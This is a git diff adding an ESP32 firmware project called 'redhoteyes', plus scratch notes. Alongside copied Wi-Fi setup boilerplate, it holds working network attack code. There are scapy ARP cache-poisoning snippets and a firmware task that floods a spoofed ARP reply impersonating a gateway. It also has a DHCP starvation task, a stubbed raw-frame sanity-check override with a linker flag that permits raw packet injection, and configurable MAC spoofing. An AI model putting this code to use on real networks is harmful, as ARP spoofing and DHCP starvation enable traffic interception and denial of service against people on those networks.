*esp_netif_config); + +// https://github.com/espressif/esp-idf/blob/master/components/esp_netif/include/esp_netif_types.h#L260 +struct esp_netif_config { + const esp_netif_inherent_config_t *base; /*!< base config */ + const esp_netif_driver_ifconfig_t *driver; /*!< driver config */ + const esp_netif_netstack_config_t *stack; /*!< stack config */ +}; + +// typedef enum esp_netif_flags { /;/ ESP_NETIF_FLAG_GARP + +/** + * Should be called at the beginning of the program to set up the + * network interface. It calls the function low_level_init() to do the + * actual setup of the hardware. +**/ +wlanif_init(struct netif *netif) + +esp_netif_create_default_wifi_sta() + +esp_err_t esp_netif_set_mac(esp_netif_t *esp_netif, uint8_t mac[]); + +// https://github.com/espressif/esp-idf/blob/6e5a178b3120dced7fa5c29c655cc22ea182df3d/components/esp_netif/lwip/netif/wlanif.c#L20 + /* @param netif the lwip network interface structure for this wlanif + * @param p the MAC packet to send (e.g. IP packet including MAC addresses and type) + * @return ERR_OK if the packet could be sent + * an err_t value if the packet couldn't be sent +*/ +static err_t low_level_output(struct netif *netif, struct pbuf *p) + + +void WIFI_INIT() { + // NVS: Required by WiFi Driver + esp_err_t ret = nvs_flash_init(); + if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { + ESP_ERROR_CHECK(nvs_flash_erase()); + ret = nvs_flash_init(); + } + ESP_ERROR_CHECK(ret); + + ESP_ERROR_CHECK(esp_netif_init()); + ESP_ERROR_CHECK(esp_event_loop_create_default()); +} + +void STA_INIT(char *ssid, char *password) { + esp_netif_create_default_wifi_sta(); // defaults are fine // https://github.com/espressif/esp-idf/blob/6e5a178b3120dced7fa5c29c655cc22ea182df3d/components/esp_netif/include/esp_netif_defaults.h#L47 + + ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, ESP_EVENT_ANY_ID, &wifi_sta_event_handler, NULL, NULL)); + ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, IP_EVENT_STA_GOT_IP, &wifi_sta_event_handler, NULL, NULL)); + + strcpy((char *)wifi_sta_config.sta.ssid, ssid); + strcpy((char *)wifi_sta_config.sta.password, password); +} + +void WIFI_START(wifi_mode_t mode) { + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + ESP_ERROR_CHECK(esp_wifi_init(&cfg)); + + ESP_ERROR_CHECK(esp_wifi_set_mode(mode)); + + if (mode==WIFI_MODE_APSTA || mode==WIFI_MODE_STA) ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_sta_config)); + if (mode==WIFI_MODE_APSTA || mode==WIFI_MODE_AP) ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &wifi_ap_config)); + + ESP_ERROR_CHECK(esp_wifi_start()); +} + + +void app_main(void) { + + WIFI_INIT(); + STA_INIT("wifi_ssid","password"); + WIFI_START(WIFI_MODE_STA); + + /* + WIFI_INIT(); + STA_INIT_IP("wifi_ssid","password","192.168.1.19","192.168.1.1","255.255.255.0"); + AP_INIT_IP("esp32_AP","password","192.168.254.1","192.168.254.1","255.255.255.0"); + WIFI_START(WIFI_MODE_APSTA); // WIFI_MODE_APSTA | WIFI_MODE_STA | WIFI_MODE_AP + */ + + /* + WIFI_INIT(); + STA_INIT_IP("wifi_ssid","password","192.168.1.19","192.168.1.1","255.255.255.0"); + AP_INIT("esp32_AP","password"); + WIFI_START(WIFI_MODE_APSTA); // WIFI_MODE_APSTA | WIFI_MODE_STA | WIFI_MODE_AP + */ + + /* + WIFI_INIT(); + STA_INIT_IP("wifi_ssid","password","192.168.1.19","192.168.1.1","255.255.255.0"); + WIFI_START(WIFI_MODE_STA); // WIFI_MODE_APSTA | WIFI_MODE_STA | WIFI_MODE_AP + */ + + /* + WIFI_INIT(); + AP_INIT("wifi_ssid","password"); + WIFI_START(WIFI_MODE_AP); // WIFI_MODE_APSTA | WIFI_MODE_STA | WIFI_MODE_AP + */ +} + + +/////////// https://www.esp32.com/viewtopic.php?t=14689 + +#include +#include +#include + +#include "sdkconfig.h" +#include "esp_log.h" +#include "esp_err.h" +#include "esp_system.h" + +#include "esp_wifi.h" +#include "nvs_flash.h" + +#include + +static const char *TAG = "wifi"; + +wifi_config_t wifi_sta_config; +wifi_config_t wifi_ap_config; + +static void wifi_sta_event_handler(void* arg, esp_event_base_t event_base, int32_t event_id, void* event_data) { + if (event_base == WIFI_EVENT) { + switch (event_id) { + case WIFI_EVENT_STA_START: + //ESP_LOGI(TAG, "WIFI_EVENT_STA_START"); + esp_wifi_connect(); + break; + case WIFI_EVENT_STA_DISCONNECTED: + //ESP_LOGI(TAG, "WIFI_EVENT_STA_DISCONNECTED"); + esp_wifi_connect(); + break; + } + } + else if (event_base == IP_EVENT) { + switch (event_id) { + case IP_EVENT_STA_GOT_IP: { + ip_event_got_ip_t* event = event_data; + ESP_LOGI(TAG, "Station connected with IP: "IPSTR", GW: "IPSTR", Mask: "IPSTR".", + IP2STR(&event->ip_info.ip), + IP2STR(&event->ip_info.gw), + IP2STR(&event->ip_info.netmask)); + break; + } + } + } +} + +static void wifi_ap_event_handler(void* arg, esp_event_base_t event_base, int32_t event_id, void* event_data) { + switch (event_id) { + case IP_EVENT_AP_STAIPASSIGNED: { + ip_event_ap_staipassigned_t* event = event_data; + ESP_LOGI(TAG, "SoftAP client connected with IP: "IPSTR".", + IP2STR(&event->ip)); + break; + } + } +} + +void WIFI_INIT() { + // NVS: Required by WiFi Driver + esp_err_t ret = nvs_flash_init(); + if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { + ESP_ERROR_CHECK(nvs_flash_erase()); + ret = nvs_flash_init(); + } + ESP_ERROR_CHECK(ret); + + ESP_ERROR_CHECK(esp_netif_init()); + ESP_ERROR_CHECK(esp_event_loop_create_default()); +} + +void AP_INIT_IP(char *ssid, char *password, char *ip, char *gw, char *nmask) { + esp_netif_t *esp_netif_ap = esp_netif_create_default_wifi_ap(); + + esp_netif_ip_info_t IP_settings_ap; + IP_settings_ap.ip.addr=ipaddr_addr(ip); + IP_settings_ap.netmask.addr=ipaddr_addr(nmask); + IP_settings_ap.gw.addr=ipaddr_addr(gw); + esp_netif_dhcps_stop(esp_netif_ap); + esp_netif_set_ip_info(esp_netif_ap, &IP_settings_ap); + esp_netif_dhcps_start(esp_netif_ap); + + ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, IP_EVENT_AP_STAIPASSIGNED, &wifi_ap_event_handler, NULL, NULL)); + + strcpy((char *)wifi_ap_config.ap.ssid, ssid); + strcpy((char *)wifi_ap_config.ap.password, password); + wifi_ap_config.ap.authmode = WIFI_AUTH_WPA2_PSK; + wifi_ap_config.ap.max_connection = 4; +} + +void AP_INIT(char *ssid, char *password) { + esp_netif_create_default_wifi_ap(); + + ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, IP_EVENT_AP_STAIPASSIGNED, &wifi_ap_event_handler, NULL, NULL)); + + strcpy((char *)wifi_ap_config.ap.ssid, ssid); + strcpy((char *)wifi_ap_config.ap.password, password); + wifi_ap_config.ap.authmode = WIFI_AUTH_WPA2_PSK; + wifi_ap_config.ap.max_connection = 4; +} + +void STA_INIT_IP(char *ssid, char *password, char *ip, char *gw, char *nmask) { + esp_netif_t *esp_netif_sta = esp_netif_create_default_wifi_sta(); + + esp_err_t ret = esp_netif_dhcpc_stop(esp_netif_sta); + if(ret == ESP_OK) ESP_LOGI(TAG, "esp_netif_dhcpc_stop OK"); + else ESP_LOGI(TAG, "esp_netif_dhcpc_stop ERROR"); + + esp_netif_ip_info_t IP_settings_sta; + IP_settings_sta.ip.addr=ipaddr_addr(ip); + IP_settings_sta.netmask.addr=ipaddr_addr(nmask); + IP_settings_sta.gw.addr=ipaddr_addr(gw); + esp_netif_set_ip_info(esp_netif_sta, &IP_settings_sta); + + ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, ESP_EVENT_ANY_ID, &wifi_sta_event_handler, NULL, NULL)); + ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, IP_EVENT_STA_GOT_IP, &wifi_sta_event_handler, NULL, NULL)); + + strcpy((char *)wifi_sta_config.sta.ssid, ssid); + strcpy((char *)wifi_sta_config.sta.password, password); +} + +void STA_INIT(char *ssid, char *password) { + esp_netif_create_default_wifi_sta(); + + ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, ESP_EVENT_ANY_ID, &wifi_sta_event_handler, NULL, NULL)); + ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, IP_EVENT_STA_GOT_IP, &wifi_sta_event_handler, NULL, NULL)); + + strcpy((char *)wifi_sta_config.sta.ssid, ssid); + strcpy((char *)wifi_sta_config.sta.password, password); +} + +void WIFI_START(wifi_mode_t mode) { + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + ESP_ERROR_CHECK(esp_wifi_init(&cfg)); + + ESP_ERROR_CHECK(esp_wifi_set_mode(mode)); + + if (mode==WIFI_MODE_APSTA || mode==WIFI_MODE_STA) ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_sta_config)); + if (mode==WIFI_MODE_APSTA || mode==WIFI_MODE_AP) ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &wifi_ap_config)); + + ESP_ERROR_CHECK(esp_wifi_start()); +} + +void app_main(void) { + ///* + WIFI_INIT(); + STA_INIT_IP("wifi_ssid","password","192.168.1.19","192.168.1.1","255.255.255.0"); + AP_INIT_IP("esp32_AP","password","192.168.254.1","192.168.254.1","255.255.255.0"); + WIFI_START(WIFI_MODE_APSTA); // WIFI_MODE_APSTA | WIFI_MODE_STA | WIFI_MODE_AP + //*/ + + /* + WIFI_INIT(); + STA_INIT_IP("wifi_ssid","password","192.168.1.19","192.168.1.1","255.255.255.0"); + AP_INIT("esp32_AP","password"); + WIFI_START(WIFI_MODE_APSTA); // WIFI_MODE_APSTA | WIFI_MODE_STA | WIFI_MODE_AP + */ + + /* + WIFI_INIT(); + STA_INIT("wifi_ssid","password"); + AP_INIT("esp32_AP","password"); + WIFI_START(WIFI_MODE_APSTA); // WIFI_MODE_APSTA | WIFI_MODE_STA | WIFI_MODE_AP + */ + + /* + WIFI_INIT(); + STA_INIT_IP("wifi_ssid","password","192.168.1.19","192.168.1.1","255.255.255.0"); + WIFI_START(WIFI_MODE_STA); // WIFI_MODE_APSTA | WIFI_MODE_STA | WIFI_MODE_AP + */ + + /* + WIFI_INIT(); + AP_INIT("wifi_ssid","password"); + WIFI_START(WIFI_MODE_AP); // WIFI_MODE_APSTA | WIFI_MODE_STA | WIFI_MODE_AP + */ +} + + +scapy +// ARP() https://scapy.readthedocs.io/en/latest/api/scapy.layers.l2.html#scapy.layers.l2.ARP +// ARP attacks https://scapy.readthedocs.io/en/latest/usage.html#arp-cache-poisoning +// prsc = source ip +// pdst = destination ip +packet = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", psrc="10.0.0.202", pdst="10.0.0.255") +packetBytes = bytes(packet) +send(packet,inter=RandNum(10,40), loop=1) \ No newline at end of file diff --git a/migration.tmp b/migration.tmp new file mode 100644 index 0000000..e69de29 diff --git a/redhoteyes/.gitignore b/redhoteyes/.gitignore new file mode 100644 index 0000000..34c80f5 --- /dev/null +++ b/redhoteyes/.gitignore @@ -0,0 +1,6 @@ +*.old +*.bak +build +sdkconfig +old +scratch.txt \ No newline at end of file diff --git a/redhoteyes/.vscode/settings.json b/redhoteyes/.vscode/settings.json new file mode 100644 index 0000000..78ed35b --- /dev/null +++ b/redhoteyes/.vscode/settings.json @@ -0,0 +1,3 @@ +{ + "idf.adapterTargetName": "esp32" +} \ No newline at end of file diff --git a/redhoteyes/CMakeLists.txt b/redhoteyes/CMakeLists.txt new file mode 100644 index 0000000..c269daf --- /dev/null +++ b/redhoteyes/CMakeLists.txt @@ -0,0 +1,12 @@ +# The following five lines of boilerplate have to be in your project's +# CMakeLists in this exact order for cmake to work correctly +cmake_minimum_required(VERSION 3.16) + +add_link_options("-Wl,-z,muldefs") + +# set(COMPONENTS main esp_netif lwip startup esp_hw_support esp_system nvs_flash esp_wifi) +set(COMPONENTS main esp_netif startup esp_hw_support esp_system nvs_flash esp_wifi arpa) +# set(COMPONENTS main startup esp_hw_support esp_system nvs_flash esp_wifi) + +include($ENV{IDF_PATH}/tools/cmake/project.cmake) +project(redhoteyes) diff --git a/redhoteyes/main/CMakeLists.txt b/redhoteyes/main/CMakeLists.txt new file mode 100644 index 0000000..68d87eb --- /dev/null +++ b/redhoteyes/main/CMakeLists.txt @@ -0,0 +1,2 @@ +idf_component_register(SRCS "redhoteyes.c" "helperFunctions.c" + INCLUDE_DIRS "." "include") diff --git a/redhoteyes/main/Kconfig.projbuild b/redhoteyes/main/Kconfig.projbuild new file mode 100644 index 0000000..cbf8a41 --- /dev/null +++ b/redhoteyes/main/Kconfig.projbuild @@ -0,0 +1,96 @@ +menu "Project Configuration" + + config WIFI_SSID + string "WiFi SSID" + default "myssid" + help + SSID (network name) for the example to connect to. + + config WIFI_PSK + string "WiFi Password" + default "mypassword" + help + WiFi password (WPA or WPA2) for the example to use. + + config HOSTNAME + string "Hostname" + default "redhoteyes" + help + Hostname lol + + config SPOOFED_MAC_ADDRESS + string "Spoofed MAC Address" + default "01:02:03:04:05:66" + help + Set the spoofed MAC address manually as string, format "%x:%x:%x:%x:%x:%x" + + config ESP_MAXIMUM_RETRY + int "Maximum retry" + default 3 + help + Set the Maximum retry to avoid station reconnecting to the AP unlimited when the AP is really inexistent. + + config LOOP_MSECONDS + int "Milliseconds to wait before looping" + default 1000 + help + Wait int milliseconds before looping on main task. + + config TAGSUCC + string "Tag for success (information level, ESP_LOGI" + default "GreatSucc" + help + Tag used with ESP_LOGI, information level. string + + config TAGFAIL + string "Tag for error condition (error via ESP_LOGE)" + default "EPIC FAIL YOU SUCK:" + help + Tag used with ESP_LOGE. error level. + + choice ESP_WIFI_SAE_MODE + prompt "WPA3 SAE mode selection" + default ESP_WPA3_SAE_PWE_BOTH + help + Select mode for SAE as Hunt and Peck, H2E or both. + config ESP_WPA3_SAE_PWE_HUNT_AND_PECK + bool "HUNT AND PECK" + config ESP_WPA3_SAE_PWE_HASH_TO_ELEMENT + bool "H2E" + config ESP_WPA3_SAE_PWE_BOTH + bool "BOTH" + endchoice + + config ESP_WIFI_PW_ID + string "PASSWORD IDENTIFIER" + depends on ESP_WPA3_SAE_PWE_HASH_TO_ELEMENT|| ESP_WPA3_SAE_PWE_BOTH + default "" + help + password identifier for SAE H2E + + choice ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD + prompt "WiFi Scan auth mode threshold" + default ESP_WIFI_AUTH_WPA2_PSK + help + The weakest authmode to accept in the scan mode. + This value defaults to ESP_WIFI_AUTH_WPA2_PSK incase password is present and ESP_WIFI_AUTH_OPEN is used. + Please select ESP_WIFI_AUTH_WEP/ESP_WIFI_AUTH_WPA_PSK incase AP is operating in WEP/WPA mode. + + config ESP_WIFI_AUTH_OPEN + bool "OPEN" + config ESP_WIFI_AUTH_WEP + bool "WEP" + config ESP_WIFI_AUTH_WPA_PSK + bool "WPA PSK" + config ESP_WIFI_AUTH_WPA2_PSK + bool "WPA2 PSK" + config ESP_WIFI_AUTH_WPA_WPA2_PSK + bool "WPA/WPA2 PSK" + config ESP_WIFI_AUTH_WPA3_PSK + bool "WPA3 PSK" + config ESP_WIFI_AUTH_WPA2_WPA3_PSK + bool "WPA2/WPA3 PSK" + config ESP_WIFI_AUTH_WAPI_PSK + bool "WAPI PSK" + endchoice +endmenu \ No newline at end of file diff --git a/redhoteyes/main/helperFunctions.c b/redhoteyes/main/helperFunctions.c new file mode 100644 index 0000000..eb75e08 --- /dev/null +++ b/redhoteyes/main/helperFunctions.c @@ -0,0 +1,67 @@ +#include +#include +#include "esp_wifi.h" +#include "esp_log.h" + +// lwip +#include "lwip/sys.h" +#include "lwip/sockets.h" +#include "lwip/err.h" + +// custom +#include "tags.h" + +int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) { + return 0; +} + +// convert the string from config to mac +void convertStringToMac(char* macString, uint8_t *dstArr) { + int values[6]; + int i; + // convert the string to uint8_t [6] array + if (6 == sscanf(macString, "%x:%x:%x:%x:%x:%x", + &values[0], &values[1], &values[2], + &values[3], &values[4], &values[5])) { + /* convert to u8int_t */ + for (i = 0; i < 6; ++i) { + dstArr[i] = (uint8_t)values[i]; + } + } +} + +void ip2bytes(char ipString[], uint8_t *dstArr) { + unsigned short a, b, c, d; + sscanf(ipString, "%hu.%hu.%hu.%hu", &a, &b, &c, &d); + dstArr[0] = a; + dstArr[1] = b; + dstArr[2] = c; + dstArr[3] = d; +} + +void calculateBroadcast(char ipString[], char netmask[], char dstArr[INET_ADDRSTRLEN]) { + char inetIPStr[INET_ADDRSTRLEN]; + struct in_addr ipArr, maskArr, broadcast; + + inet_pton(AF_INET, ipString, &ipArr); + inet_pton(AF_INET, netmask, &maskArr); + broadcast.s_addr = ipArr.s_addr | ~maskArr.s_addr; + + inet_ntop(AF_INET, &(broadcast.s_addr), inetIPStr, INET_ADDRSTRLEN); + + strcpy(dstArr, inetIPStr); + + ESP_LOGI(TAGSUCC, "broadcast: %s", inetIPStr); +} + +void hexDump(const void* data, int len) { + for(int i=0; i +#include +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/event_groups.h" +#include "esp_system.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include "esp_log.h" +#include "nvs_flash.h" +#include + +// netif +#include "esp_netif.h" + +// lwip +#include "lwip/sys.h" +#include "lwip/sockets.h" +#include "lwip/err.h" + +// custom +#include "redhoteyes.h" +#include "packets.h" +#include "helperFunctions.h" + +// wifi event group for freertos +static EventGroupHandle_t s_wifi_event_group; + +esp_netif_t* netifWifi; + +// ip info after connecting to AP +char str_ipv4[16]; // local ip os esp +char str_ipnm[16]; // netmask +char str_ipgw[16]; // gateway + +// set up the mac address +char *spoofMacString = SPOOFED_MAC_ADDRESS; +uint8_t mac[6]; + +void dhcpStarvation(void *pvParameters) { + uint8_t gatewayIP[4]; + ip2bytes(str_ipgw, gatewayIP); + + char broadcastStr[INET_ADDRSTRLEN]; + uint8_t broadcastIP[4]; + calculateBroadcast(str_ipgw, str_ipnm, broadcastStr); + ip2bytes(broadcastStr, broadcastIP); + + // ESP_LOGI(TAGSUCC, "\n\nbroadcastStr: %s\n\n", broadcastStr); + ESP_LOGI(TAGSUCC, "Set Up:\n\tIP: %s\n\tGateway: %s\n\tNetmask: %s\n\tBroadcast: %s\n\tInterface MAC: %x:%x:%x:%x:%x:%x\n\t", + str_ipv4, + str_ipgw, + str_ipnm, + broadcastStr, + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); + + + uint8_t broadcastMAC[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + uint8_t ifaceMAC[] = {mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]}; + uint8_t srcIP[] = {0x00, 0x00, 0x00, 0x00}; + uint8_t dstIP[] = {0xFF, 0xFF, 0xFF, 0xFF}; + uint8_t chaddr[] = {mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]}; + uint8_t requestedIP[] = {0x0A, 0x00, 0x00, 0xC8, 0xFF}; + +/* + memcpy(&spoofDHCPRequestPkt[13], &broadcastMAC, sizeof(broadcastMAC) / sizeof(broadcastMAC[0])); + memcpy(&spoofDHCPRequestPkt[19], &ifaceMAC, sizeof(ifaceMAC) / sizeof(ifaceMAC[0])); + memcpy(&spoofDHCPRequestPkt[25], &srcIP, sizeof(srcIP) / sizeof(srcIP[0])); + memcpy(&spoofDHCPRequestPkt[44], &broadcastMAC, sizeof(broadcastMAC) / sizeof(broadcastMAC[0])); + memcpy(&spoofDHCPRequestPkt[33], &dstIP, sizeof(dstIP) / sizeof(dstIP[0])); + memcpy(&spoofDHCPRequestPkt[88], &chaddr, sizeof(chaddr) / sizeof(chaddr[0])); + memcpy(&spoofDHCPRequestPkt[210], &requestedIP, sizeof(requestedIP) / sizeof(requestedIP[0])); + memcpy(&spoofDHCPRequestPkt[216], &gatewayIP, sizeof(gatewayIP) / sizeof(gatewayIP[0])); +*/ + int packetLen = sizeof(spoofDHCPRequestPkt) / sizeof(spoofDHCPRequestPkt[0]); + + while(1) { + // sendPacket(spoofDHCPRequestPkt, packetLen); + ESP_LOGI(TAGSUCC, "Looping...\n\tspoofDHCPRequestPkt\n\tPacket Length: %d", packetLen); + // delay on loop + vTaskDelay(LOOP_MSECONDS / portTICK_PERIOD_MS); + } +} + +void redhoteyes(void *pvParameters) { + uint8_t spoofedIP[] = {0xC0, 0xA8, 0x04, 0x01}; // spoofed IP + uint8_t gatewayMAC[] = {0xD4, 0x6C, 0x6D, 0x3E, 0xA4, 0x13}; // gateway MAC + uint8_t gatewayIP[] = {0xC0, 0xA8, 0x01, 0x01}; // gateway IP + + // load the values + memcpy(&spoofARPPkt[14], &spoofedIP, sizeof(spoofedIP) / sizeof(spoofedIP[0])); + memcpy(&spoofARPPkt[18], &gatewayMAC, sizeof(gatewayMAC) / sizeof(gatewayMAC[0])); + memcpy(&spoofARPPkt[24], &gatewayIP, sizeof(gatewayIP) / sizeof(gatewayIP[0])); + + hexDump(spoofARPPkt, sizeof(spoofARPPkt) / sizeof(spoofARPPkt[0])); + + // start the loop + while(1) { + sendPacket(spoofARPPkt, sizeof(spoofARPPkt) / sizeof(spoofARPPkt[0])); + ESP_LOGI(TAGSUCC, "Looping"); + // delay on loop + vTaskDelay(LOOP_MSECONDS / portTICK_PERIOD_MS); + } +} + +static void event_handler(void* arg, esp_event_base_t event_base, int32_t event_id, void* event_data) { + static int s_retry_num = 0; + if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_START) { + esp_wifi_connect(); + } else if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) { + if (s_retry_num < ESP_MAXIMUM_RETRY) { + esp_wifi_connect(); + s_retry_num++; + ESP_LOGI(TAGSUCC, "Retrying to connect to the AP"); + } else { + xEventGroupSetBits(s_wifi_event_group, WIFI_FAIL_BIT); + } + ESP_LOGE(TAGFAIL,"Failed to connect to AP"); + } else if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) { + ip_event_got_ip_t* event = (ip_event_got_ip_t*) event_data; + esp_ip4addr_ntoa(&event->ip_info.ip, str_ipv4, IP4ADDR_STRLEN_MAX); + esp_ip4addr_ntoa(&event->ip_info.netmask, str_ipnm, IP4ADDR_STRLEN_MAX); + esp_ip4addr_ntoa(&event->ip_info.gw, str_ipgw, IP4ADDR_STRLEN_MAX); + + ESP_LOGI(TAGSUCC, "Connected!\n\tIP: %s\n\tNetmask: %s\n\tGateway: %s\n\tSSID: %s\n\tMode: ESP_WIFI_MODE_STA\n\tAuth Threshold: %d\n\tMAC Address: %02x:%02x:%02x:%02x:%02x:%02x\n\tHostname: %s", + str_ipv4, + str_ipnm, + str_ipgw, + WIFI_SSID, + ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD, + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], + HOSTNAME); + + s_retry_num = 0; + xEventGroupSetBits(s_wifi_event_group, WIFI_CONNECTED_BIT); + } +} + +void wifi_init_sta(void) { + s_wifi_event_group = xEventGroupCreate(); + + ESP_ERROR_CHECK(esp_netif_init()); + + ESP_ERROR_CHECK(esp_event_loop_create_default()); + netifWifi = esp_netif_create_default_wifi_sta(); + + ESP_ERROR_CHECK(esp_netif_set_mac(netifWifi, mac)); + ESP_ERROR_CHECK(esp_netif_set_hostname(netifWifi, HOSTNAME)); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + ESP_ERROR_CHECK(esp_wifi_init(&cfg)); + + esp_event_handler_instance_t instance_any_id; + esp_event_handler_instance_t instance_got_ip; + ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, + ESP_EVENT_ANY_ID, + &event_handler, + NULL, + &instance_any_id)); + ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, + IP_EVENT_STA_GOT_IP, + &event_handler, + NULL, + &instance_got_ip)); + + wifi_config_t wifi_config = { + .sta = { + .ssid = WIFI_SSID, + .password = WIFI_PSK, + .threshold.authmode = ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD, + .sae_pwe_h2e = ESP_WIFI_SAE_MODE, + .sae_h2e_identifier = H2E_IDENTIFIER, + }, + }; + ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA)); + ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_config)); + ESP_ERROR_CHECK(esp_wifi_start()); + + ESP_LOGI(TAGSUCC, "wifi_init_sta finished."); + + /* Waiting until either the connection is established (WIFI_CONNECTED_BIT) or connection failed for the maximum + * number of re-tries (WIFI_FAIL_BIT). The bits are set by event_handler() (see above) */ + EventBits_t bits = xEventGroupWaitBits(s_wifi_event_group, + WIFI_CONNECTED_BIT | WIFI_FAIL_BIT, + pdFALSE, + pdFALSE, + portMAX_DELAY); + + /* xEventGroupWaitBits() returns the bits before the call returned, hence we can test which event actually + * happened. */ + if (bits & WIFI_CONNECTED_BIT) { + ESP_LOGI(TAGSUCC, "connected to ap SSID: %s", WIFI_SSID); + // fork redhoteyes to FreeRTOS task + // xTaskCreate(redhoteyes, "redhoteyes", 4096, NULL, 5, NULL); + xTaskCreate(dhcpStarvation, "dhcpStarvation", 4096, NULL, 5, NULL); + + ESP_LOGI(TAGSUCC, "Connected to AP- Sending packets"); + } else if (bits & WIFI_FAIL_BIT) { + ESP_LOGE(TAGFAIL, "Failed to connect to SSID:%s, password:%s", WIFI_SSID, WIFI_PSK); + } else { + ESP_LOGE(TAGFAIL, "FAILURE: UNEXPECTED EVENT"); + } +} + +void app_main(void) { + //Initialize NVS + esp_err_t ret = nvs_flash_init(); + if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { + ESP_ERROR_CHECK(nvs_flash_erase()); + ret = nvs_flash_init(); + } + ESP_ERROR_CHECK(ret); + + ESP_LOGI(TAGSUCC, "ESP_WIFI_MODE_STA"); + + convertStringToMac(spoofMacString, mac); + + ESP_LOGI(TAGSUCC, "MAC Address: %02x:%02x:%02x:%02x:%02x:%02x", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); + + wifi_init_sta(); +} diff --git a/redhoteyes/notes.txt b/redhoteyes/notes.txt new file mode 100644 index 0000000..6230041 --- /dev/null +++ b/redhoteyes/notes.txt @@ -0,0 +1,11 @@ +scapy to generate bytes + targetMAC = "d4:6c:6d:3e:a4:13" //get_mac(gateway) + targetMAC = "ff:ff:ff:ff:ff:ff" + gatewayIP = "192.168.1.1" // get_gateway() + spoofedIP = "192.168.4.1" + + pkt = ARP(op=2, hwdst=targetMAC, pdst=gatewayIP, psrc=spoofedIP) + hexdump(pkt) + bytes(pkt) + raw(pkt) + sendp(pkt, inter=0.100, loop=1) \ No newline at end of file diff --git a/redhoteyes/sdkconfig.defaults b/redhoteyes/sdkconfig.defaults new file mode 100644 index 0000000..85de1de --- /dev/null +++ b/redhoteyes/sdkconfig.defaults @@ -0,0 +1,12 @@ +# This file was generated using idf.py save-defconfig. It can be edited manually. +# Espressif IoT Development Framework (ESP-IDF) 5.4.0 Project Minimal Configuration +# +CONFIG_BOOTLOADER_LOG_LEVEL_ERROR=y +CONFIG_ESPTOOLPY_FLASHMODE_QIO=y +CONFIG_ESPTOOLPY_FLASHSIZE_4MB=y +CONFIG_ESPTOOLPY_HEADER_FLASHSIZE_UPDATE=y +CONFIG_COMPILER_OPTIMIZATION_SIZE=y +CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_240=y +CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT=y +CONFIG_ESP_WIFI_SOFTAP_SUPPORT=n +CONFIG_LWIP_IPV6=n diff --git a/redhoteyes/sdkconfig.defaults.debug b/redhoteyes/sdkconfig.defaults.debug new file mode 100644 index 0000000..59f56b2 --- /dev/null +++ b/redhoteyes/sdkconfig.defaults.debug @@ -0,0 +1,11 @@ +# This file was generated using idf.py save-defconfig. It can be edited manually. +# Espressif IoT Development Framework (ESP-IDF) 5.4.0 Project Minimal Configuration +# +CONFIG_ESPTOOLPY_FLASHMODE_QIO=y +CONFIG_ESPTOOLPY_FLASHSIZE_4MB=y +CONFIG_ESPTOOLPY_HEADER_FLASHSIZE_UPDATE=y +CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_240=y +CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT=y +CONFIG_ESP_WIFI_SOFTAP_SUPPORT=n +CONFIG_LOG_DEFAULT_LEVEL_DEBUG=y +CONFIG_LWIP_IPV6=n diff --git a/redhoteyes/sdkconfig.defaults.normal b/redhoteyes/sdkconfig.defaults.normal new file mode 100644 index 0000000..85de1de --- /dev/null +++ b/redhoteyes/sdkconfig.defaults.normal @@ -0,0 +1,12 @@ +# This file was generated using idf.py save-defconfig. It can be edited manually. +# Espressif IoT Development Framework (ESP-IDF) 5.4.0 Project Minimal Configuration +# +CONFIG_BOOTLOADER_LOG_LEVEL_ERROR=y +CONFIG_ESPTOOLPY_FLASHMODE_QIO=y +CONFIG_ESPTOOLPY_FLASHSIZE_4MB=y +CONFIG_ESPTOOLPY_HEADER_FLASHSIZE_UPDATE=y +CONFIG_COMPILER_OPTIMIZATION_SIZE=y +CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_240=y +CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT=y 